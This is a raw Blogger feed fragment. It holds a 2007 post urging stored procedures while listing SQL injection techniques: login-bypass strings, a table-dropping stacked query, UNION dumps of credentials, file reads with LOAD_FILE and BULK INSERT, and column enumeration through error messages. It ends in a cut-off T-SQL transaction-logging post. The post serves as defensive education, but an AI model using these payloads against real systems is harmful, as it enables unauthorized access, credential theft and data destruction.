type='html'>&lt;span style="font-size:100%;"&gt;Use stored procedures. Don't let people choose the queries that are being run on your database or you might open yourself up to a lot of harm.  Any novice database user can turn your simple web app into an unrestricted interface to your database and/or server.  Below are some common examples showing how hackers exploit your code to damage your database or access restricted data&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;1. Commenting out code / Login Bypass&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;A typical line of code that checks authentication based on a user name and password&lt;br /&gt;&lt;/span&gt; &lt;blockquote&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;color:blue;"   &gt;SELECT&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt; &lt;span style="color:gray;"&gt;*&lt;/span&gt; &lt;span style="color:blue;"&gt;FROM&lt;/span&gt; members &lt;span style="color:blue;"&gt;WHERE&lt;/span&gt; username &lt;span style="color:gray;"&gt;=&lt;/span&gt; &lt;span style="color:red;"&gt;'$username'&lt;/span&gt; &lt;span style="color:gray;"&gt;AND&lt;/span&gt; password &lt;span style="color:gray;"&gt;=&lt;/span&gt; &lt;span style="color:red;"&gt;'$password'&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;What gets run on your database here if someone enters in their username as  " &lt;/span&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;admin'--&lt;/span&gt;&lt;span style="font-size:100%;"&gt; " with no password?&lt;br /&gt;&lt;/span&gt; &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt;&lt;blockquote&gt;&lt;span style="color:blue;"&gt;SELECT&lt;/span&gt; &lt;span style="color:gray;"&gt;*&lt;/span&gt; &lt;span style="color:blue;"&gt;FROM&lt;/span&gt; members &lt;span style="color:blue;"&gt;WHERE&lt;/span&gt; username &lt;span style="color:gray;"&gt;=&lt;/span&gt; &lt;span style="color:red;"&gt;'admin '&lt;/span&gt;&lt;span style="color:green;"&gt;--' AND password = ''&lt;/span&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;span style="font-size:100%;"&gt;&lt;br /&gt;unless your escaping string termination (single quotes here)  the user was just able to bypass authentication as an arbitrary user.  &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;2. Stacked Queries&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;Depending on the database driver and the database being used, multiple sql queries can be run in the same batch.  This allows hackers to stack on arbitrary sql at the end of a normal query&lt;br /&gt;&lt;/span&gt; &lt;blockquote&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;color:blue;"   &gt;SELECT&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt; &lt;span style="color:gray;"&gt;*&lt;/span&gt; &lt;span style="color:blue;"&gt;FROM&lt;/span&gt; products &lt;span style="color:blue;"&gt;WHERE&lt;/span&gt; id &lt;span style="color:gray;"&gt;=&lt;/span&gt; $id&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;  This query might grab the product id out of the query string and then run this query. but if this hacker changes the query string and forces a non integer string such as "10;&lt;br /&gt;&lt;/span&gt;&lt;p class="MsoNormal"&gt;  &lt;/p&gt;  &lt;blockquote&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;color:blue;"   &gt;SELECT&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt; &lt;span style="color:gray;"&gt;*&lt;/span&gt; &lt;span style="color:blue;"&gt;FROM&lt;/span&gt; products &lt;span style="color:blue;"&gt;WHERE&lt;/span&gt; id &lt;span style="color:gray;"&gt;=&lt;/span&gt; 10&lt;span style="color:gray;"&gt;;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;color:blue;"   &gt;Drop&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt; products&lt;span style="color:gray;"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;Probably not what you want your view product page to do.&lt;/span&gt;&lt;/p&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;3. UNION Injections:  Forcing data out of the database&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;Imagine a page like this&lt;br /&gt;&lt;br /&gt;http://somesite.com/viewproducts?productype=1&lt;br /&gt;&lt;br /&gt;which grabs product names from a database which has a certain product type by executing this code and sql&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;blockquote&gt;&lt;p class="MsoNormal" style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;color:blue;"   &gt;SELECT&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt; productname &lt;span style="color:blue;"&gt;FROM&lt;/span&gt; products &lt;span style="color:blue;"&gt;WHERE&lt;/span&gt; &lt;span style="color:blue;"&gt;type&lt;/span&gt; &lt;span style="color:gray;"&gt;=&lt;/span&gt; $productypeid&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="font-family: courier new;" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;for each &lt;/o:p&gt;productName &lt;o:p&gt;in productNameResult&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-family: courier new;" class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;echo productName + "&lt;/o:p&gt;&lt;o:p&gt;&lt;br /&gt;"&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;span style="font-size:100%;"&gt;&lt;br /&gt;Normally this pseudocode would output all the product names. However if the hacker changes the query string around they can turn your view products page into an easy interface to the data. Imagine the hacker massaged the querystring a tiny bit and changed the producttypeid parameter to be "1 and 1=0 union select username + '-' + password as productname from users_tbl " This would yield the following SQL&lt;br /&gt;&lt;/span&gt;  &lt;blockquote&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;color:blue;"   &gt;SELECT&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt; productname &lt;span style="color:blue;"&gt;FROM&lt;/span&gt; products &lt;span style="color:blue;"&gt;WHERE&lt;/span&gt; &lt;span style="color:blue;"&gt;type&lt;/span&gt; &lt;span style="color:gray;"&gt;=&lt;/span&gt; 1 &lt;span style="color:gray;"&gt;and&lt;/span&gt; 1&lt;span style="color:gray;"&gt;=&lt;/span&gt;0 &lt;span style="color:blue;"&gt;union&lt;/span&gt; &lt;span style="color:blue;"&gt;select&lt;/span&gt; username &lt;span style="color:gray;"&gt;+&lt;/span&gt; &lt;span style="color:red;"&gt;'-'&lt;/span&gt; &lt;span style="color:gray;"&gt;+&lt;/span&gt; password &lt;span style="color:blue;"&gt;as&lt;/span&gt; productname &lt;span style="color:blue;"&gt;from&lt;/span&gt; users_tbl&lt;/span&gt;&lt;/blockquote&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;the end result is a dump of all the username / password on your view products page&lt;/span&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;span style="font-size:100%;"&gt;username1-password1&lt;br /&gt;username2-password2&lt;br /&gt;username3-password3&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;4. Avoiding Anti-SQL Injection&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;You might think that an easy fix to this would be to just check for single quotes and escape them.  However there are a bunch of ways to enter strings without quotes. For example in MySQL this will dump out the file C:\boot.ini&lt;/span&gt;&lt;/p&gt;  &lt;blockquote&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;color:blue;"   &gt;SELECT&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt; LOAD_FILE&lt;span style="color:gray;"&gt;(&lt;/span&gt;0x633A5C626F6F742E696E69&lt;span style="color:gray;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;Hackers will commonly concatonate strings together using database&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;  &lt;/p&gt;&lt;blockquote&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;color:blue;"   &gt;SELECT&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt; &lt;span style="color:blue;"&gt;CHAR&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;75&lt;span style="color:gray;"&gt;)+&lt;/span&gt;&lt;span style="color:blue;"&gt;CHAR&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;76&lt;span style="color:gray;"&gt;)+&lt;/span&gt;&lt;span style="color:blue;"&gt;CHAR&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;77&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;    &lt;span style="font-weight: bold;font-size:100%;" &gt;5. Bypassing Logins and Authentication&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;Unfortunately most ametuer sites will break or bypass authenticaiton if you try some of these usernames:&lt;br /&gt;&lt;/span&gt;&lt;span id="gr"  style="font-size:100%;"&gt;  &lt;ul&gt;&lt;li&gt;&lt;code&gt;admin' -- &lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;admin' # &lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;admin'/*&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;' or 1=1--&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;' or 1=1#&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;' or 1=1/*&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;') or '1'='1--&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;') or ('1'='1--&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Or to logon as a diff user:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;More advanced sites might try MD5 Password hash checks, these can be bypassed as well&lt;br /&gt;&lt;/span&gt; &lt;blockquote&gt;  &lt;p class="MsoNormal"&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt;Username &lt;span style="color:gray;"&gt;:&lt;/span&gt; admin&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;Password &lt;span style="color:gray;"&gt;:&lt;/span&gt; 1234 &lt;span style="color:red;"&gt;' AND 1=0 UNION ALL SELECT '&lt;/span&gt;admin&lt;span style="color:red;"&gt;', '&lt;/span&gt;81dc9bdb52d04dc20036dbd8313ed055&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;span style="font-weight: bold;font-size:100%;" &gt;6. Leveraging Error Messages&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;In SQL Server a hacker can use the Having clause to figure out what columns are being selected in the query they are trying to hack by entering the following fields in order.&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span id="gr"  style="font-size:100%;"&gt;&lt;ul&gt;&lt;li&gt;'&lt;code&gt; HAVING  1=1 -- &lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;' GROUP BY &lt;strong class="hi"&gt;table.columnfromerror1&lt;/strong&gt; HAVING 1=1 -- &lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;' GROUP BY &lt;strong class="hi"&gt;table.columnfromerror1, columnfromerror2&lt;/strong&gt; HAVING 1=1 --&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;' GROUP BY &lt;strong class="hi"&gt;table.columnfromerror1, columnfromerror2,  columnfromerror(n) &lt;/strong&gt;HAVING 1=1 --&lt;/code&gt; &lt;em&gt;and so on&lt;/em&gt; &lt;/li&gt;&lt;li&gt;If you are not getting any more error then it's done.&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;If the hacker is trying to do UNION SQL injection knowing the number of columns will help them greatly; they can use the order by clause to do this:&lt;br /&gt;&lt;/span&gt;&lt;span id="gr"  style="font-size:100%;"&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;ORDER BY 1-- &lt;/code&gt;  &lt;/li&gt;&lt;li&gt;&lt;code&gt;ORDER BY 2--&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;ORDER BY N--&lt;/code&gt; &lt;em&gt;so on&lt;/em&gt;&lt;/li&gt;&lt;li&gt;Keep going until get an error. Error means you found the number of selected columns. &lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;7. Figuring out Column Types&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;If a hacker is trying to do UNION injection they'll have to know what types each of the columns are. Since datatype errors appear before union target errors, the hacker can easily figure this out by using aggregate or convert functions.&lt;/span&gt;&lt;span id="gr"  style="font-size:100%;"&gt;&lt;code&gt;&lt;/code&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;p class="MsoNormal"&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;color:blue;"   &gt;'union&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt; &lt;span style="color:blue;"&gt;select&lt;/span&gt; &lt;span style="color:fuchsia;"&gt;sum&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;columntofind&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;span style="color:blue;"&gt;from&lt;/span&gt; users&lt;span style="color:green;"&gt;--&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;span id="gr"  style="font-size:100%;"&gt;&lt;code&gt;&lt;/code&gt;&lt;code&gt;Microsoft OLE DB  Provider for ODBC Drivers error '80040e07'&lt;br /&gt;  [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate  operation cannot take a &lt;strong style="font-weight: bold;" class="hi"&gt;varchar&lt;/strong&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;data type as an  argument.&lt;/code&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span id="gr"  style="font-size:100%;"&gt;&lt;code&gt;&lt;/code&gt;&lt;/span&gt;      &lt;span style=";font-family:courier new;font-size:100%;"  &gt;&lt;blockquote&gt;11223344&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;span style="color:blue;"&gt;UNION&lt;/span&gt; &lt;span style="color:blue;"&gt;SELECT&lt;/span&gt; 1&lt;span style="color:gray;"&gt;,&lt;/span&gt;’2’&lt;span style="color:gray;"&gt;,&lt;/span&gt;3&lt;span style="color:gray;"&gt;,NULL&lt;/span&gt; &lt;span style="color:blue;"&gt;WHERE&lt;/span&gt; 1&lt;span style="color:gray;"&gt;=&lt;/span&gt;2 –&lt;span style="color:gray;"&gt;-&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;br /&gt;Error! – Third column is not an integer.&lt;br /&gt;...Microsoft  OLE DB Provider for SQL Server error '80040e07' &lt;code&gt;&lt;br /&gt;Explicit conversion from data type &lt;span class="hi"&gt;&lt;strong&gt;int&lt;/strong&gt; to image&lt;/span&gt; is not allowed.&lt;br /&gt;&lt;/code&gt;&lt;/blockquote&gt;&lt;code&gt;&lt;/code&gt;&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;8. Inserting Arbitrary Data&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;    A hacker can use SQL injection to create an account to your app&lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" &gt;&lt;br /&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-size:100%;"&gt;‘&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;color:gray;"   &gt;;&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt; &lt;span style="color:blue;"&gt;insert&lt;/span&gt; &lt;span style="color:blue;"&gt;into&lt;/span&gt; users &lt;span style="color:blue;"&gt;values&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt; 1&lt;span style="color:gray;"&gt;,&lt;/span&gt; &lt;span style="color:red;"&gt;'hax0r'&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;/span&gt; &lt;span style="color:red;"&gt;'coolpass'&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;/span&gt; 9 &lt;span style="color:gray;"&gt;)&lt;/span&gt;&lt;span style="color:green;"&gt;/*&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;  &lt;span style="font-weight: bold;font-size:100%;" &gt;&lt;br /&gt;9. Figuring out database type&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span id="gr"  style="font-size:100%;"&gt;&lt;strong style="font-weight: normal;"&gt;@@version is a hackers friend (at least in MySQL and SQL Server)&lt;/strong&gt; &lt;/span&gt;&lt;span style="font-weight: bold;font-size:100%;" id="gr" &gt;&lt;br /&gt;&lt;/span&gt;  &lt;blockquote&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;color:blue;"   &gt;INSERT&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:100%;"  &gt; &lt;span style="color:blue;"&gt;INTO&lt;/span&gt; members&lt;span style="color:gray;"&gt;(&lt;/span&gt;id&lt;span style="color:gray;"&gt;,&lt;/span&gt; &lt;span style="color:fuchsia;"&gt;user&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;/span&gt; pass&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;span style="color:blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;1&lt;span style="color:gray;"&gt;,&lt;/span&gt; &lt;span style="color:red;"&gt;''&lt;/span&gt;&lt;span style="color:gray;"&gt;+&lt;/span&gt;&lt;span style="color:fuchsia;"&gt;SUBSTRING&lt;/span&gt;&lt;span style="color:gray;"&gt;(&lt;/span&gt;&lt;span style="color:fuchsia;"&gt;@@version&lt;/span&gt;&lt;span style="color:gray;"&gt;,&lt;/span&gt;1&lt;span style="color:gray;"&gt;,&lt;/span&gt;10&lt;span style="color:gray;"&gt;)&lt;/span&gt; &lt;span style="color:gray;"&gt;,&lt;/span&gt;10&lt;span style="color:gray;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:100%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;  &lt;span style="font-weight: bold;font-size:100%;" &gt;10. Bulk Inserts to pull data off the server&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span id="gr"  style="font-size:100%;"&gt;&lt;p&gt;Insert a file content to a table. If you don't know internal path of web application you can &lt;strong&gt;read IIS (&lt;/strong&gt;&lt;em&gt;IIS 6 only&lt;/em&gt;&lt;strong&gt;) metabase file &lt;/strong&gt;(&lt;em&gt;%systemroot%\system32\inetsrv\MetaBase.xml&lt;/em&gt;) and then search in it to identify application path. &lt;/p&gt;  &lt;ol&gt;&lt;ol&gt;&lt;li&gt;Create  table foo( line varchar(8000) ) &lt;/li&gt;&lt;li&gt;bulk  insert foo from 'c:\inetpub\wwwroot\login.asp' &lt;/li&gt;&lt;li&gt;&lt;em&gt;Drop temp table, and repeat for another file. &lt;/em&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/36312929-3362182103801337168?l=evanreiser.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://evanreiser.blogspot.com/feeds/3362182103801337168/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=36312929&amp;postID=3362182103801337168' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/3362182103801337168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/36312929/posts/default/3362182103801337168'/><link rel='alternate' type='text/html' href='http://evanreiser.blogspot.com/2007/09/why-you-should-use-stored-procedures.html' title='Why you should use stored procedures. aka How to do SQL Injection.'/><author><name>Evan Reiser</name><uri>http://www.blogger.com/profile/01139605078652057619</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='http://3.bp.blogspot.com/_7NyTnt202Ww/SWGa9n2BMSI/AAAAAAAAAMU/J94zxuAkhec/s1600-R/brothers_t550.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-36312929.post-6145673540291633361</id><published>2007-07-27T11:24:00.000-04:00</published><updated>2007-07-27T11:37:29.164-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TSQL'/><category scheme='http://www.blogger.com/atom/ns#' term='SQL Server 2005'/><title type='text'>Persitant Logging through Aborted Transactions</title><content type='html'>Sometimes you want to log that a transaction failed when the transaction is aborted.  This can be a problem when the logging is part of the rolled-back transaction.        &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;            &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;CREATE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;TABLE&lt;/span&gt; TranLogging &lt;span style="color: gray;"&gt;(&lt;/span&gt;id &lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;CREATE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;TABLE&lt;/span&gt; Test &lt;span style="color: gray;"&gt;(&lt;/span&gt;id &lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;CREATE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;TABLE&lt;/span&gt; #Test &lt;span style="color: gray;"&gt;(&lt;/span&gt;id &lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;DECLARE&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; @TranLogging &lt;span style="color: blue;"&gt;table&lt;/span&gt; &lt;span style="color: gray;"&gt;(&lt;/span&gt;id &lt;span style="color: blue;"&gt;int&lt;/span&gt;&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: gray;"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;                &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;BEGIN&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;TRAN&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; @TranLogging &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;1&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; Test &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;1&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;INSERT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; #Test &lt;span style="color: blue;"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;1&lt;span style="color: gray;"&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;ROLLBACK&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: blue;"&gt;TRAN&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;      &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: red;"&gt;'@TranLogging'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt;&lt;span style="color: fuchsia;"&gt;COUNT&lt;/span&gt;&lt;span style="color: gray;"&gt;(*)&lt;/span&gt; &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; @TranLogging&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: blue;"&gt;SELECT&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt; &lt;span style="color: red;"&gt;' test'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt;&lt;span style="color: fuchsia;"&gt;COUNT&lt;/span&gt;&lt;span style="color: gray;"&gt;(*)&lt;/span&gt; &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; Test&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;; color: 